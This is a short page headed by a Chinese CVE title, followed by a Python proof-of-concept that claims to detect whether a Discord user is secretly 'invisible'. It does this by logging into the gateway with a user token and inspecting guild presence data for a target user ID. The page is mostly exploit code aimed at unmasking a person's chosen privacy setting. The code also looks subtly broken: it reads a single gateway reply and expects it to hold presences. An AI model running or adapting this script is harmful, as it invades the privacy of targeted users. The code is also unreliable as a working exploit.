CVE-2026-24332: Discord不可见状态检测绕过信息泄露漏洞

import asyncio import websockets import json async def check_user_invisible_status(user_token: str, target_user_id: str): """ PoC for CVE-2026-24332: Discord Invisible Status Detection Bypass This demonstrates how to detect if a user is in Invisible status by checking if they appear in the presences array with 'status': 'offline' """ uri = "wss://gateway.discord.gg/?v=10&encoding=json" async with websockets.connect(uri) as websocket: # Step 1: Send Gateway Identify identify_payload = { "op": 2, "d": { "token": user_token, "properties": { "$os": "windows", "$browser": "Chrome", } } } await websocket.send(json.dumps(identify_payload)) # Step 2: Request Guild Presences presences_request = { "op": 14, "d": { "guild_id": "TARGET_GUILD_ID", "typing": True, "activities": True, "channels": {"TARGET_GUILD_ID": []} } } await websocket.send(json.dumps(presences_request)) # Step 3: Parse presences response response = await websocket.recv() data = json.loads(response) if "d" in data and "presences" in data["d"]: presences = data["d"]["presences"] # Check if target user is in presences array with 'offline' status for presence in presences: if presence["user"]["id"] == target_user_id: if presence.get("status") == "offline": print(f"[!] User {target_user_id} is likely INVISIBLE (not truly offline)") return True print(f"[*] User {target_user_id} appears to be truly offline") return False return None # Run the PoC asyncio.run(check_user_invisible_status("YOUR_TOKEN", "TARGET_USER_ID"))